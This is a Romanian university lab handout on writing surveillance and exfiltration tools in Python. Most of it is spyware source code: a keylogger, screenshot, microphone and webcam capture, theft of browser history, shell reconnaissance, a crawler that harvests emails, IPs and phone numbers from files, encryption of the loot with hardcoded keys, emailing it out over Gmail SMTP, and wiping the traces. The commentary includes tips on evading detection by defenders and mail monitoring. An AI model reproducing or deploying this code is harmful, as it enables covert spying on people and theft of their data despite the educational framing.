Laborator 13
Dezvoltare aplicații pentru urmărire și exfiltrare

Un mic supraveghetor și raportor

O primă observație ar fi că exemplul este educațional din zona whitehack și dacă îl folosiți în alte scopuri vă asumați explicit toate consecințele legale care derivă (am discutat sau o să mai discutăm la curs toate tipurile de legislație națională și internațională pe care le încălcați!).

Apoi - nici un hacker sănătos la cap nu folosește Python-ul decât pentru automatizări minore - am ales Python-ul pentru aceste laboratoare datorită limitărilor de cunoaștere pe care le pot avea studenții dar și pentru ca este un curs introductiv.

Aplicația prezentată monitorizează tastatura, ecranul (mai face niște capturi din când în când), microfonul și camera web (tot la nivel de fotografii din când în când).

În mod normal ar trebui să studiați separat toate bibliotecile folosite apoi să vă reîmprospătați eventual suplimentați cunoștințele primite de la diverse cursuri care sunt utilizate în biblioteci și în programele exemplu - abia atunci veți putea beneficia în mod real de acest laborator. Altminteri rămâneți la nivel de script-kiddies!

În proiectul Pycharm va trebui să instalați modulele cryptography, scipy, Pillow (un fork al bătrânului PIL), pyinput, browserhistory,opencv-python sounddevice, și requests.

În programul exemplu sunt mai multe biblioteci importate decât cele menționate deoarece evident că v-am dat o bucățică de pornire cu care nu puteți face prea multe prostii numai prin simpla execuție fără a vă bate capul prea mult. Și acum programul de test:

```
import subprocess, socket, os, re, smtplib, logging, pathlib, json, time, cv2, sounddevice, shutil
import requests
import sqlite3
import browserhistory as bh
from multiprocessing import Process
from pynput.keyboard import Key, Listener
from PIL import ImageGrab
from scipy.io.wavfile import write as write_rec
from cryptography.fernet import Fernet
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
# functia pentru capturarea apasarii tastelor
def logg_keys(file_path):
    logging.basicConfig(filename=(file_path + 'ce_bate_looserul.txt'),
                        level=logging.DEBUG, format='%(asctime)s: %(message)s')
    on_press = lambda Key: logging.info(str(Key))
    with Listener(on_press=on_press) as listener:
        listener.join()
# functia pentru captura ecranului
def screenshot(file_path):
    pathlib.Path('/var/tmp/Logs/Screenshots').mkdir(parents=True, exist_ok=True)
    screen_path = file_path + 'Screenshots/'
    for x in range(0, 60):
        pic = ImageGrab.grab()
        pic.save(screen_path + 'screenshot{}.png'.format(x))
        time.sleep(5)
# captura microfon - aici mai trebuie sa studiati un pic pana o depanati :)
def microphone(file_path):
    for x in range(0, 5):
        fs = 44100
        seconds = 60
        myrecording = sounddevice.rec(int(seconds * fs), samplerate=fs, channels=2)
```

```
            sounddevice.wait()
            write_rec(file_path + '{}mic_recording.wav'.format(x), fs, myrecording)
# capturi de la camera
def webcam(file_path):
    pathlib.Path('/var/tmp/Logs/WebcamPics').mkdir(parents=True, exist_ok=True)
    cam_path = file_path + 'WebcamPics/'
    cam = cv2.VideoCapture(0)
    for x in range(0, 60):
        ret, img = cam.read()
        file = (cam_path + '{}.jpg'.format(x))
        cv2.imwrite(file, img)
        time.sleep(5)
    cam.release()
    cv2.destroyAllWindows()
def email_base(name, email_address):
    name['From'] = email_address
    name['To'] = email_address
    name['Subject'] = 'test!'
    body = 'e-mail test'
    name.attach(MIMEText(body, 'plain'))
    return name
def smtp_handler(email_address, password, name):
    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(email_address, password)
    s.sendmail(email_address, email_address, name.as_string())
    s.quit()
#trimit email-ul
def send_email(path):
    regex = re.compile(r'.+\.xml$')
    regex2 = re.compile(r'.+\.txt$')
    regex3 = re.compile(r'.+\.png$')
    regex4 = re.compile(r'.+\.jpg$')
    regex5 = re.compile(r'.+\.wav$')
    email_address = ''    # pui adresa valida
    password = ''    # pui parola valida
    msg = MIMEMultipart()
    email_base(msg, email_address)
    exclude = set(['Screenshots', 'WebcamPics'])
    for root, dirs, files in os.walk(path, topdown=True):
        dirnames[:] = [d for d in dirs if d not in exclude]
        for file in files:
            if regex.match(file) or regex2.match(file) \
                    or regex3.match(file) or regex4.match(file):
                p = MIMEBase('application', "octet-stream")
                with open(path + '/' + file, 'rb') as attachment:
                    p.set_payload(attachment.read())
                encoders.encode_base64(p)
                p.add_header('Content-Disposition', 'attachment;'
                                                    'filename = {}'.format(file))
                msg.attach(p)
            elif regex5.match(file):
                msg_alt = MIMEMultipart()
                email_base(msg_alt, email_address)
                p = MIMEBase('application', "octet-stream")
```

```
                with open(path + '/' + file, 'rb') as attachment:
                    p.set_payload(attachment.read())
                encoders.encode_base64(p)
                p.add_header('Content-Disposition', 'attachment;'
                                                    'filename = {}'.format(file))
                msg_alt.attach(p)

                smtp_handler(email_address, password, msg_alt)

            else:
                pass
    smtp_handler(email_address, password, msg)
def main():
    pathlib.Path('/var/tmp/Logs').mkdir(parents=True, exist_ok=True)
    file_path = '/var/tmp/Logs/'
    #ceva info despre retea
    with open(file_path + 'network_wifi.txt', 'a') as network_wifi:
        try:
            commands = subprocess.Popen(['ip a; ipconfig /all;netstat -rn; netstat -a',
                                         'folder=/tmp/Logs/', 'key=clear'],
                                        stdout=network_wifi, stderr=network_wifi, shell=True)
            outs, errs = commands.communicate(timeout=60)

        except subprocess.TimeoutExpired:
            commands.kill()
            out, errs = commands.communicate()
    #ceva informatii depre sistem
    hostname = socket.gethostname()
    IPAddr = socket.gethostbyname(hostname)
    with open(file_path + 'system_info.txt', 'a') as system_info:
        try:
            public_ip = requests.get('https://api.ipify.org').text
        except requests.ConnectionError:
            public_ip = '* Ipify nu raspunde *'
            pass
        system_info.write('Public IP Address: ' + public_ip + '\n' \
                          + 'Private IP Address: ' + IPAddr + '\n')
        try:
            get_sysinfo = subprocess.Popen(['uname -a; ps -ef; systemctl'],
                                           stdout=system_info, stderr=system_info, shell=True)
            outs, errs = get_sysinfo.communicate(timeout=15)

        except subprocess.TimeoutExpired:
            get_sysinfo.kill()
            outs, errs = get_sysinfo.communicate()
    #aici mai trebuie sa sapati un pic :)
    browser_history = []
    bh_user = bh.get_username()
    db_path = bh.get_database_paths()
    hist = bh.get_browserhistory()
    browser_history.extend((bh_user, db_path, hist))
    with open(file_path + 'browser.txt', 'a') as browser_txt:
        browser_txt.write(json.dumps(browser_history))
    #inregistrare mic si capturi de la camera etc
    p1 = Process(target=logg_keys, args=(file_path,));
```

```
        p1.start()
        p2 = Process(target=screenshot, args=(file_path,));
        p2.start()
        p3 = Process(target=microphone, args=(file_path,));
        p3.start()
        p4 = Process(target=webcam, args=(file_path,));
        p4.start()
        p1.join(timeout=300);
        p2.join(timeout=300);
        p3.join(timeout=300);
        p4.join(timeout=300)
        p1.terminate();
        p2.terminate();
        p3.terminate();
        p4.terminate()
    # ar fi o ideie sa faceti join si sa criptati fisierele inainte de trimitere
"""
       ############ trimit mail
        send_email('/var/tmp/Logs/')
        send_email('/var/tmp/Logs/Screenshots/')
        send_email('/var/tmp/Logs/WebcamPics/')
"""
        # Clean Up Files #
        # decomentati numai dupa ce ati verificat ca trimite fisierele decriptate pe mail
        #shutil.rmtree('/var/tmp/Logs')

        # Loop #
#       main()


if __name__ == '__main__':
        try:
                main()
        except KeyboardInterrupt:
                print('* s-a dat Control-C gata *')
        except Exception as ex:
                logging.basicConfig(level=logging.DEBUG,
                                    filename='/var/tmp/Logs/error_log.txt')
                logging.exception('* o mica problema: {} *'.format(ex))
                pass
```

Dacă ne uităm în programul exemplu observăm că pentru fiecare fișier din calea dată acesta va încerca o potrivire cu una din variabilele regex (regex, regex2, …, regex5). Dacă una din ele se potrivește atunci toate fișierele de acel tip vor fi atașate la același email. Numai în cazul lui regex5(WAV) se va atașa numai câte un fișier.

Din câte am spus până acum rezultă destule subteme legate de program (completările/modificările menționate în afară de testarea propriuzisă) linux, dacă va dădeam versiunea de Windows sigur nu rezistați tentației ...

S-a utilizat pornirea cu try pentru a putea fi ușor oprit cu un simplu Ctrl+C. Vedeți că este și o minimă jurnalizare activată (afișează toate datele erorii și apoi continuă operațiile).

Se observă că am utilizat /var/tmp care este pentru fișiere persistente pe post de cale generală pentru fișierele de captură de orice tip. Când veți modifica aplicația să cripteze, concateneze și apoi să trimită prin mail fișierele este bine ca fișierul rezultat și cele intermediare să fie puse în /tmp, e-mail-ul trimis și apoi totul curățat ca și în cealaltă situație.

Pentru a aduna informații primare despre rețeaua computerului exploatat se utilizează un gestionar de context pentru a gestiona fișierul în care se scriu aceste informații. Se observă că abordarea este primitivă deoarece se lansează direct comenzi consolă și se preiau ieșirile acestora. Scopul este să vedeți ce ușor puteți fi supravegheați fără să știți - un profesionist va lucra la nivel de kernel direct. În funcție *communicate* este utilizată pentru a introduce o întârziere de un minut (dacă este prea des apelată produce supraîncărcare fapt care duce la detecția rapidă chiar și de către un looser.

```
outs, errs = commands.communicate(timeout=60)
```

Când minutul trece, procesul este omorât și aceeași funcție este utilizată pentru a anunța sistemul că procesul s-a terminat.

```
except subprocess.TimeoutExpired:
            commands.kill()
            out, errs = commands.communicate()
```

Informațiile despre ip-ul real sau sub care se prezintă mașina sunt obținute cu ajutorul API-ului de la ipipfy. Profesional sunt alte căi mai elegante și care atrag mai puțin atenția.

```
public_ip = requests.get('https://api.ipify.org').text
```

Pentru a obține informații despre navigator inclusiv tot istoricul de navigare și bookmark-urile se folosește baza de date a navigatorului. Aici va trebui să mai modificați și să testați. Mai mult ar trebui realizată o analiză automată peste procesele raportate și apoi în funcție de navigatorul activ să fie activată secțiunea specifică pentru a obține astfel de informații (diferă căile, maniera de păstrare ale acestora și multe altele). De exemplu se utilizează modulul browserhistory.

```
browser_history = []
bh_user = bh.get_username()
db_path = bh.get_database_paths()
hist = bh.get_browserhistory()
browser_history.extend((bh_user, db_path, hist))with open(file_path + 'browser.txt', 'a')
as browser_txt:
    browser_txt.write(json.dumps(browser_history))
```

Pentru a reduce încărcarea indusă s-a folosit paralelismul (nu mai vorbesc de tratarea separată a resurselor de io diferite - blocante sau nu).

```
p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start()
p2 = Process(target=screenshot, args=(file_path,)) ; p2.start()
p3 = Process(target=microphone, args=(file_path,)) ; p3.start()
p4 = Process(target=webcam, args=(file_path,)) ; p4.start()
```

Procesele sunt oprite după 300 de secunde

Din punct de vedere a urmăririi reale a utilizatorului vedeți că sunt patru module care se ocupă de monitorizarea completă a acestuia. Nu aveți decât să monitorizați manual conținutul directorului Logs din /var/temp în timp ce programul se execută.

Pentru partea de tastatură avem un keylogger primitiv dar eficient. Capturile de ecran se realizează odată la 5 secunde - chiar prea des. Pentru sunet înregistrarea este de un minut. Aici iar ar trebui să săpați pentru că există mai multe sisteme suportate de Linux și sunt o serie de nuanțe de la distribuție la distribuție deci profesional ar trebui pe baza raportărilor din uname eventual hardware (nu am introdus-o) să aveți secțiuni separate.

Partea de monitorizare a camerei web face capturi tot la 5 secunde. Observăm că avem o secțiune unde se face și o minimă exfiltare care asociază fișierele txt la o variabilă apoi utilizează regex pentru a selecta orice fișier xml (ar putea fi date wifi) care vor fi și ele adăugate automat la raport.

Pentru partea de trimitere a e-mail-ului iar aveți un schelet funcțional bazat pe smtp și s-au folosit două funcții email_base și smtp_handler. Abordarea este necesară pentru că după cum știți e-mail-urile trebuie tratate cu atenție datorită limitărilor de dimensiune pentru fișierele atașate. La Google am 25Mb și la YaHoo. Dacă ne gândim că programul nu produce audio compresat (cine vă împiedică să îl modificați - sunt codere mp3 gratuite) dar cu capturile de cameră și ecran nu prea avem ce face decât dacă mai scad calitatea ceea ce nu este de dorit. Deci trebuie făcute niște analize pentru a putea decide când trebuie adunate și trimise criptat raportările.

Se observă că funcția de send_email începe prin a compila diverse expresii regulate pentru regex pentru a putea trata corect fiecare tip de extensie care trebuie trimisă prin e-mail.

```
regex = re.compile(r'.+\.xml$')
regex2 = re.compile(r'.+\.txt$')
regex3 = re.compile(r'.+\.png$')
regex4 = re.compile(r'.+\.jpg$')
regex5 = re.compile(r'.+\.wav$')
```

Se definește o variabilă msg este definită ca un atașament și este trimisă către funcția de bază. Datorită limitărilor anterior menționate cea mai buna opțiune este să se atașeze toate fișierele de același tip la un singur e-mail. După cum am spus wav sunt cam mari (nu au compresie) și atunci ar trebui ca fiecare înregistrare de un minut să fie trimisă separat. Oricum o astfel de încărcare ar alerta pe cei care supraveghează manual și/sau automat serverul de e-mail al organizației. De aceea s-a stabilit o variabilă ca sa excludă directoarele Screenshots și WebcamPics.

```
exclude = set(['Screenshots', 'WebcamPics'])
```

Functia walk din os este folosită pentru a selecta toate fisierele dintr-un director anume:

```
for dirpath, dirnames, filenames in os.walk(path, topdown=True):
```

Pentru fiecare fișier din calea dată va încerca o potrivire cu una din variabilele regex (regex, regex2, …, regex5). Dacă una din ele se potrivește atunci toate fișierele de acel tip vor fi atașate la același email. Numai în cazul lui regex5(WAV) se va atașa numai câte un fișier.

Din câte am spus până acum rezultă destule subteme legate de program (completările/modificările menționate în afara de testarea propriuzisă). Pentru criptare puteți folosi ecdsa avem în alt laborator sau dacă nu puteți utiliza orice combinație pe care ați învățat-o la cursul de profil la facultate).

Un pic de exfiltrare

Mai întâi trebuie să căutăm recursiv în anumite directoare realizând filtrare după unele criterii (de ex anumite extensii de fișiere).

Se măsoară și timpul de execuție. Apoi încep să stabilesc căile și filtrele pentru regex. Evident că aici puteți pune absolut de criterii aveți voi în funcție de ceea ce urmăriți în procesul de exfiltrare.

```
def main():
    start = time()
    print('Caut ...')
```

```
pathlib.Path('/var/tmp/Caut/').mkdir(parents=True, exist_ok=True)
path = '/var/tmp/Caut/'
re_txt = re.compile(r'^.+\.json$') #poate sa fie si txt
re_email = re.compile(r'^.+@(?:gmail|yahoo|hotmail|aol|msn|live|protonmail)\.com') #recompile
accelereaza viteza de executie
re_ip = re.compile(r'(?:\s|^)[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')
re_phone = re.compile(r'(1?)(?:\s|^)[0-9]{3}-[0-9]{3}-[0-9]{4}')
```

Crawler-ul prin fișiere este destul de simplu:

Se salvează în jurnal calea de bază. Apoi se merge prin fiecare director unde se ia fiecare fișier iar dacă filtrarea bazată pe regex identifică fișiere care respectă modelul specificat (compilat pentru viteză) atunci fiecare fișier din această categorie este deschis și se caută în el dacă există anumite modele (date și ele anterior în variabilele pentru regex) în cazul acestui exemplu vedeți că se caută informații gen ip, mail sau numere de telefon, apoi dacă sunt întrunite condițiile informațiile despre respectivul fișier (cale și nume) sunt salvate într-un jurnal separat.

Pentru erori ale aplicației acestea sunt și ele salvate în fișierul error_log.txt. Cea mai comună situație este atunci când este o problemă de drepturi (de exemplu nu am voie sa deschid fișierul).

```
#incepem parcurgerea sistemului de fisiere pornind din caile indicate
with open(path + 'crawlLog.txt', 'a') as log:
    for root, dirs, files in os.walk('/home/numele_contului_curent/temp/', topdown=True):
        log.write('Path => {}\n'.format(root))
        for d in dirs:
            log.write('Dir => {}\n'.format(d))
        log.write('\n')
```

```
            for file in files:
                log.write('File => {}\n'.format(file))
                if re_txt.match(file):
                    try:
                        with open(root + '/' + file) as search_file:
                            for line in search_file:
                                print(line)
                                if re_email.search(line) or re_ip.search(line) or re_phone.search(line):
                                    with open(path + 'crawlMatches.txt', 'a') as details:
                                        details.write('Path => {}\n'.format(root))
                                        details.write('File => {}\n'.format(file))
                                        details.write('Match => {}\n\n'.format(line))

                    except Exception as ex:
                        logging.basicConfig(level=logging.DEBUG, filename='/var/tmp/Caut/error_log.txt')
                        logging.exception('* A aparut eroarea: {} *'.format(ex))
                        pass

            log.write('\n')
```

Criptarea datelor obținute

Având în vedere că sunt emise de calculatorul atacat şi faptul că dacă este treabă serioasă nici echipa albastră nu stă de pomană, pentru a evita injecția cu informații false fișierelor obținute în urma exfiltrării ar fi bine sa fie un pic criptate. Evident că în cazuri reale se folosesc abordări ceva mai serioase ca aceasta.
Se va parcurge directorul unde sunt păstrate fișierele rezultat pentru a lua fișier cu fișier. Apoi li se va genera un hash de ex. cu SHA512 (trivial) și se va salva într-un alt fișier. Apoi se va cripta respectivul fișier utilizând o cheie din program (iar nerecomandat în caz real). Se recalculează hash-ul pentru fișierul criptat și se salvează și el. Se va utiliza o cheie separată pentru a cripta și fișierul cu hash-uri.

```
key = b'UR58Mz1VHiGJa1_W42E4G0FD__Ihb4vevs3wmWhVtOc='
for root, dirs, files in os.walk(path):
    for file in files:
        sha = sha512(str.encode(file))
        with open(path + 'SHA_Hashes.txt', 'a') as hash_plain:
            hash_plain.write('{}\nSHA pentru text in clar:\n{}\n'.format(file, str(sha)))

        with open(path + file, 'rb') as plain_text:
            data = plain_text.read()
        encrypted = Fernet(key).encrypt(data)

        with open(path + 'e_' + file, 'ab') as encrypted_text:
            encrypted_text.write(encrypted)
        e_sha = sha512(str.encode('e_' + file))

        with open(path + 'SHA_Hashes.txt', 'a') as hash_encrypt:
            hash_encrypt.write('{}\nSHA aplicat:\n{}\n\n'.format(file, str(e_sha)))

            # criptare fisiere#
hash_key = b'AP92IlGyU8Zqnc568KT5ugjInAo28qwBuB5fzWYQfz0='
with open(path + 'SHA_Hashes.txt', 'rb') as plain_text:
    data = plain_text.read()
encrypted = Fernet(hash_key).encrypt(data)

with open(path + 'e_SHA_Hashes.txt', 'ab') as encrypted_text:
    encrypted_text.write(encrypted)
```

Trimiterea rezultatului prin e-mail

Se reparcurge directorul cu log-urile criptate și dacă fișierele de acolo corespund modelului din regex pentru ele atunci acestea sunt atașate la mesajul de mail.

```
""" #- o activati dupa ce ati testat restul
    # trimitere date criptate
    email_address = ''    # o adresa valida de e-mail
    password = ''    # si parola, evident
    msg = MIMEMultipart()
    msg['From'] = email_address
    msg['To'] = email_address
    msg['Subject'] = 'Noutati!!'
    body = 'Produsul a fost livrat'
    msg.attach(MIMEText(body, 'plain'))
    re_email = re.compile(r'^e_.+\.txt$')

    for dirpath, dirnames, filenames in os.walk(path):
        for file in filenames:
            if re_email.match(file):
                p = MIMEBase('application', 'octet-stream')
                with open(path + file, 'rb') as attachment:
                    p.set_payload(attachment.read())
                encoders.encode_base64(p)
                p.add_header('Content-Disposition', 'attachment;'
                                                    'filename = {}'.format(file))
                msg.attach(p)
            else:
                pass

    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(email_address, password)
    s.sendmail(email_address, email_address, msg.as_string())
    s.quit()
```

Se observă că *smtplib* stabilește furnizorul de servicii mail precum și portul utilizat pentru transfer.

Curățenie finală

Deoarece ar fi bine ca să nu rămână prea multe urme ar trebui efectuat și asa ceva ceea ce este simplu. Tot aici calculăm și timpul de execuție.

```
 #oprire si curatenie
    logging.shutdown()
    shutil.rmtree('/var/tmp/')
    print('\nAGata!!')
    print(time() - start)
"""
```

Un exemplu de test

```
if __name__ == '__main__':
    try:
        main()
```

```
    except KeyboardInterrupt:
        print('s-a apasat Ctrl+C')

    except Exception as ex:
        logging.basicConfig(level=logging.DEBUG, filename='/var/tmp/error_log.txt')
        logging.exception('* A aparut eroarea: {} *'.format(ex))
        pass
```

Se observa jurnalizarea generală a erorilor despre care am vorbit

Temă laborator - Testați programele eventual mai adaptați-le pentru adăugarea unor funcționalități noi la alegerea voastră

Tema pe acasă

1. Combinați ambele programe astfel încât în afara de urmărirea utilizatorului să se caute în zona lui de acces orice fișier care se potrivește unui pattern (la nivel de nume, de conținut etc). Deja începe să sune a exploatare de bază nu?
2. Realizați programul care decriptează fișierele și verifică hash-urile acestora.